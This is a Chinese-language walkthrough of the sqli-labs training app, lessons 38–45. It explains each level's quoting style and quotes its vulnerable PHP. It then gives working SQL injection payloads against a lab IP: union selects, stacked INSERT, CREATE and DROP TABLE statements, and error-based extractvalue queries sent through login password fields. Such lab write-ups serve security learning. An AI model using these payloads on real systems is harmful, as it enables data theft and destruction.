由源代码可以发现,闭合方式为单引号,且会输出数据库的报错信息,并且有数据库信息回显。这一关可以不需要使用堆叠注入,类似于平常的注入也可以,如下,使用的就是最简单的union注入。
http://192.168.10.208:8081/sqli-labs-master/Less-38/?id=0%27union select 1,database(),@@basedir--+
http://192.168.10.208:8081/sqli-labs-master/Less-38/?id=1%27;insert%20into%20users(id,username,password)%20values%20(%2738%27,%27less38%27,%27hello%27)--+
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))//执行$sql针对数据库的查询
{
/*mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。*/
/* store first result set */
if ($result = mysqli_store_result($con1))
{
/*mysql_store_result()转移上一次查询返回的结果集*/
if($row = mysqli_fetch_row($result))
{
echo '';
print_r("Your result is : %s", $result);
echo "
";
echo '';
printf("Your Username is : %s", $row[1]);
echo "
";
printf("Your Password is : %s", $row[2]);
echo "
";
echo "";
}
// mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))//检查查询是否有多个结果
{
/*mysqli_more_results() 函数检查一个多查询是否有更多的结果。*/
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
类似于less38,只是这一关为数字型,没有闭合方式,且会输出数据库的报错信息。
http://192.168.10.208:8081/sqli-labs-master/Less-39/?id=1;insert into users(id,username,password) values('21','less39','123456')--+
本关类似于less38,只是闭合方式为单引号+括号,且不输出数据库的报错信息,因此无法产生数据库的报错信息,无法使用报错注入。
http://192.168.10.208:8081/sqli-labs-master/Less-40/?id=1');insert into users(id,username,password) values('22','less40','123456')--+
本关类似于less38,只是闭合方式为数字型,且不输出数据库的报错信息,因此无法产生数据库的报错信息,无法使用报错注入。
http://192.168.10.208:8081/sqli-labs-master/Less-41/?id=1;insert into users(id,username,password) values('23','less41','123456')--+
从login.php源码可以发现,在登录的界面中,我们可以发现对于传入的username进行了过滤,而password没有做任何处理。
mysqli_real_escape_string(connection,escapestring);
参数 | 描述 |
---|---|
connection | 必需。规定要使用的 MySQL 连接。 |
escapestring | 必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、’、" 和 Control-Z。 |
union注入
如下,对password进行尝试,发现可以登录。
接下来利用union注入进行登录:
登录后的结果,我们可以发现查询的语句显示在页面上了
stacked injection
利用stacked injection,我们可以执行创建一个新表的语句。如下构造:
SELECT * FROM users WHERE username='admin' and password='11';create table less42 like users #
利用11';drop table less42#
作为登录密码,删除该表。
同样的利用此方式可以更新和插入数据项,这里就不进行演示了。
报错注入
在password中输入:11' and extractvalue(1,concat(0x7e,(select version()),0x7e))#
如下是login.php的部分代码
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '';
echo '' ;
if($row==1)
{
//echo "Password successfully updated";
echo '';
}
else
{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
如下是pass_change.php的部分代码,我们可以发现在修改密码的位置,参数都用mysql_real_escape_string()函数进行了过滤,因此无法产生注入。
本关类似于less42,只是将闭合方式改为了单引号+括号。
password:11');drop table less42
类似于less42,本关的闭合方式也是单引号闭合,但是不会输出数据库的报错信息,因此无法利用报错进行注入了,需要基于盲注。
username:admin
password:11’;insert into users(id,username,password) values(‘44’,‘less44’,‘less44’)#
类似于less44,不会输出数据库的报错信息,但是闭合方式为单引号+括号,因此无法利用报错进行注入了,需要基于盲注。
username:admin
password:11’);insert into users(id,username,password) values(‘45’,‘less44’,‘less45’)#